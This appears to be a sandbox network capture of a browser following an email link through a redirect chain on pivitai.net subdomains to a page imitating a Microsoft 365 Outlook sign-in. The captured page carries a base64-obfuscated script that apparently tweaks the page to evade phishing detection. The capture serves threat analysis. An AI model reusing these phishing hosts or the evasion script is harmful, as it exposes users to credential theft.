2024-04-26 20:18:13 UTC	2144	OUT	GET /ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO9 [TRUNCATED] Host: email.wantyourfeedback.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:18:14 UTC	1271	IN	HTTP/1.1 302 Found Date: Fri, 26 Apr 2024 20:18:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D X-Robots-Tag: noindex, nofollow CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2K%2BVYHqi7NrjSpWeCRKgBfxdOQw7YfK0ymkl0HvwHBTsY9HVchVqYmmNLrZxgPEI4Ve52F9DuzLDRK7HtW4p0fUj3rJBFruGn5XnCl9%2FCByvrtZMNGzbAe%2FE4c4xpNTtq222wD2oKjkDLiK03Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a942c62f257442-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:14 UTC	98	IN	Data Raw: 32 38 65 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 65 6d 61 69 6c 2e 77 61 6e 74 79 6f 75 72 66 65 65 64 62 61 63 6b 2e 63 6f 6d 2f 6c 73 2f 63 6c 69 63 6b 3f 75 70 6e 3d 75 30 30 31 2e 50 44 34 6e 50 6e 79 4a 55 6f 38 6f 69 45 7a 53 6b 53 47 4c 67 61 42 4e 41 4d 74 4c 70 39 55 35 Data Ascii: 28e<a href="http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5
2024-04-26 20:18:14 UTC	563	IN	Data Raw: 6e 73 74 57 45 6c 44 6d 6e 70 58 74 79 53 50 4f 58 53 73 34 47 78 58 68 45 5a 4e 59 65 67 44 57 6c 4f 70 79 5f 31 67 74 31 61 44 6a 64 35 6d 50 56 49 74 59 67 61 7a 57 67 41 42 6b 56 6d 2d 32 46 5a 55 48 36 6b 74 31 6c 49 76 6b 64 74 6b 52 57 73 66 6f 79 51 56 31 38 69 78 44 76 4f 58 2d 32 42 30 74 55 34 5a 48 36 53 4d 4e 37 50 43 30 59 4a 6a 4d 33 67 63 76 46 50 76 68 36 43 62 5a 75 46 58 6c 4f 42 58 66 33 46 57 4c 69 4a 6b 70 4b 4a 37 48 6a 62 61 33 53 34 2d 32 46 7a 68 70 6d 6b 52 38 56 64 70 72 66 4b 38 47 4f 33 71 53 75 2d 32 42 7a 71 70 49 61 4c 4c 43 2d 32 42 76 61 39 6b 4f 6e 37 48 59 35 42 37 4f 49 67 7a 35 45 4f 6c 38 38 6f 31 6c 6e 52 53 52 70 61 79 54 7a 71 52 7a 54 53 46 68 74 67 32 42 69 2d 32 42 49 34 64 41 5a 37 71 48 52 62 4a 33 76 62 39 Data Ascii: nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9
2024-04-26 20:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49716	104.21.93.58	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:14 UTC	1266	OUT	GET /ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D HTTP/1.1 Host: email.wantyourfeedback.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:18:15 UTC	683	IN	HTTP/1.1 302 Found Date: Fri, 26 Apr 2024 20:18:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://dyjt.pivitai.net/wlFGCNZO X-Robots-Tag: noindex, nofollow CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GAxc2hoB1%2FyUXpwiCa%2FVtDGLW5w6UmA46tQkZm4Gcp1F2YwNzRhGJDjtpGcP747L6loa9NnHX16PFYINfivWklRMBXj%2BMhxixbh8IsXJXMHsiJLJy3mm7%2B%2Bax%2BK8CumPijLnrXTrY%2FBWW%2FbGqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a942cab90f0362-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:15 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 79 6a 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 77 6c 46 47 43 4e 5a 4f 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 38<a href="https://dyjt.pivitai.net/wlFGCNZO">Found</a>.
2024-04-26 20:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49717	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:15 UTC	667	OUT	GET /wlFGCNZO HTTP/1.1 Host: dyjt.pivitai.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49719	104.21.93.58	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:16 UTC	1266	OUT	GET /ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D HTTP/1.1 Host: email.wantyourfeedback.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:18:17 UTC	677	IN	HTTP/1.1 302 Found Date: Fri, 26 Apr 2024 20:18:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://dyjt.pivitai.net/wlFGCNZO X-Robots-Tag: noindex, nofollow CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e1446KihEJE0aKz98ZTeMme8aspP4%2BZCalX4l3KC6sUYOdij10FMdj4cDAgzv%2BmP7IZsn0StQ21d%2FQTUHbUZk9UrtK9BoZy1vlVoN0ULLcWG2zvY22bDw9teqo%2FGdzFybydezzA%2BdfSkUwIaAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a942d81bf64c27-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:17 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 79 6a 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 77 6c 46 47 43 4e 5a 4f 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 38<a href="https://dyjt.pivitai.net/wlFGCNZO">Found</a>.
2024-04-26 20:18:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49720	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:17 UTC	667	OUT	GET /wlFGCNZO HTTP/1.1 Host: dyjt.pivitai.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:18:18 UTC	768	IN	HTTP/1.1 302 Found Date: Fri, 26 Apr 2024 20:18:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://bdfdbdf.pivitai.net/owa/ Set-Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; Path=/; Domain=pivitai.net; Expires=Fri, 26 Apr 2024 21:18:18 GMT; Max-Age=3600 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8JJIuTo51ilKyUXuF6Df2jJiHMbWEWXPS5ONULgFG5RtczUygkIxomZITyuhKwEC2NErxPOqdBeize8kGgrfPrnprIoYmxehIWP5IPA%2Fo0vmw7qKwLIAz8D%2FM4cKvD%2FGS3Zx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a942dcae9eb3d4-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49722	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:19 UTC	745	OUT	GET /owa/ HTTP/1.1 Host: bdfdbdf.pivitai.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:20 UTC	1319	IN	HTTP/1.1 302 Found Date: Fri, 26 Apr 2024 20:18:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Alt-Svc: h3=":443"; ma=86400 Location: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH Nel: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} P3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=XSP&RemoteIP=2403:cfc0:1114::"}],"include_subdomains":true} Request-Id: 2de7d3a2-b15a-b0a1-7d30-6f38e323fb09
2024-04-26 20:18:20 UTC	1371	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 6c 69 65 6e 74 49 64 3d 38 38 33 38 46 34 34 39 39 46 41 36 34 36 31 43 38 35 31 38 39 34 35 42 43 41 42 35 34 32 41 33 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 36 20 41 70 72 20 32 30 32 35 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 6c 69 65 6e 74 49 64 3d 38 38 33 38 46 34 34 39 39 46 41 36 34 36 31 43 38 35 31 38 39 34 35 42 43 41 42 35 34 32 41 33 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 36 20 41 70 72 20 32 30 32 35 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 Data Ascii: Set-Cookie: ClientId=8838F4499FA6461C8518945BCAB542A3; Path=/; Expires=Sat, 26 Apr 2025 20:18:20 GMT; Secure; SameSite=NoneSet-Cookie: ClientId=8838F4499FA6461C8518945BCAB542A3; Path=/; Expires=Sat, 26 Apr 2025 20:18:20 GMT; Secure; SameSite=NoneSet-C
2024-04-26 20:18:20 UTC	1369	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 70 5f 6e 6f 6e 63 65 2e 76 31 3d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 62 64 66 64 62 64 66 2e 70 69 76 69 74 61 69 2e 6e 65 74 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 70 5f 63 6f 72 72 65 6c 61 74 69 6f 6e 5f 69 64 3d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 62 64 66 64 62 64 66 2e 70 69 76 69 74 61 69 2e 6e 65 74 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 Data Ascii: Set-Cookie: OpenIdConnect.idp_nonce.v1=; Path=/; Domain=bdfdbdf.pivitai.net; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureSet-Cookie: OpenIdConnect.idp_correlation_id=; Path=/; Domain=bdfdbdf.pivitai.net; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureS
2024-04-26 20:18:20 UTC	1401	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 5f 74 6f 6b 65 6e 2e 76 31 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 63 6f 64 65 2e 76 31 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 70 5f 6e 6f 6e 63 65 2e 76 31 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 Data Ascii: Set-Cookie: OpenIdConnect.id_token.v1=; Path=/; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureSet-Cookie: OpenIdConnect.code.v1=; Path=/; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureSet-Cookie: OpenIdConnect.idp_nonce.v1=; Path=/; Expires=Tue, 26 Apr
2024-04-26 20:18:20 UTC	1078	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 74 49 6e 50 72 67 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 53 75 69 74 65 53 65 72 76 69 63 65 50 72 6f 78 79 4b 65 79 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 41 70 72 20 31 39 39 34 20 32 30 3a 31 38 3a 32 30 20 47 4d 54 3b 20 53 65 63 75 72 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 2d 4f 57 41 2d 52 65 64 69 72 65 63 74 48 69 73 74 6f 72 79 3d 41 72 4c 79 6d 31 34 42 36 56 67 4a 42 43 35 6d 33 41 67 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 Data Ascii: Set-Cookie: OptInPrg=; Path=/; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureSet-Cookie: SuiteServiceProxyKey=; Path=/; Expires=Tue, 26 Apr 1994 20:18:20 GMT; SecureSet-Cookie: X-OWA-RedirectHistory=ArLym14B6VgJBC5m3Ag; Path=/; Expires=Sat, 27 Apr 2024
2024-04-26 20:18:20 UTC	307	IN	Data Raw: 35 30 33 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 Data Ascii: 503<html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2
2024-04-26 20:18:20 UTC	983	IN	Data Raw: 64 45 56 73 5a 57 31 6c 62 6e 51 75 63 33 52 35 62 47 55 75 5a 6d 6c 73 64 47 56 79 50 53 4a 6f 64 57 55 74 63 6d 39 30 59 58 52 6c 4b 44 52 6b 5a 57 63 70 49 6a 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 32 4e 73 59 58 4e 7a 54 47 6c 7a 64 44 70 62 49 6d 63 69 58 58 30 70 4b 54 74 7a 5a 58 52 55 61 57 31 6c 62 33 56 30 4b 47 4d 73 4d 57 55 7a 4b 58 31 39 59 79 67 70 4f 77 6f 3d 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 74 69 74 6c 65 3e 33 68 62 65 72 77 62 66 68 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 Data Ascii: 